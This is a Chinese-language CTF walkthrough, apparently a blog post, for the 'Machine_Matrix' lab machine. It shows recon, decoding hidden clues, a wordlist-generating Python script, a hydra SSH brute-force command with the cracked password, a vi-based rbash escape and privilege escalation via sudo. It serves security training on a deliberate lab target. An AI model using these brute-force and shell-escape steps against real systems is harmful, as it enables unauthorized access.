Machine_Matrix 靶机

Machine_Matrix

信息搜集

存活检测

image-20231101124718365

详细扫描

image-20231101124736978

后台网页扫描

image-20231101124729186

网页信息搜集

80 端口未发现有用信息

image-20231101124921443

访问 nmap 扫描出的 http 31337 端口

image-20231101125354709

在源码中发现了一串密文

ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=

image-20231101125425331

base64 解密

image-20231101125523778

echo "Then you'll see, that it is not the spoon that bends, it is only yourself. " > Cypher.matrix

像是输出了一句话到 Cypher.matrix 文件中

禅师访问 Cypher.matrix 文件

image-20231101125711661

brainfuck 解密

image-20231101125856267

You can enter into matrix as guest, with password k1ll0rXX

Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password.

说可以用 guest 用户登录,密码是 k1ll0rXX,但是少了最后两位

ssh 登录

编写 python 脚本,生成密码本

import string
all_chars = string.ascii_letters + string.digits
with open("./password.txt","w") as f:
    for i in all_chars:
        for j in all_chars:
            f.writelines("k1ll0r" + i + j+"\n")

image-20231101134511743

hydra 爆破 ssh

hydra -l guest -P password.txt ssh://10.4.7.162 -vV -f  -I -t 64

image-20231101134528843

成功爆破出密码

k1ll0r7n

image-20231101135209683

ssh 登录

ssh guest@10.4.7.162

image-20231101135406385

提权

sudo -l 查看 root 权限,受到 rbash 命令限制

image-20231101135938317

按 Tab 键查看可使用的命令

image-20231101140025983

vi 绕过 rbash 限制

# vim/vi进入之后
:set shell=/bin/sh # 或者用/bin/bash
# 将当前 shell 的默认 shell 设置为 /bin/sh
:shell
# 
 
# 切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

sudo -l 查看 root 权限

image-20231101140605226

该用户拥有全部权限

直接 sudo bash 提权成功

image-20231101140920149

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值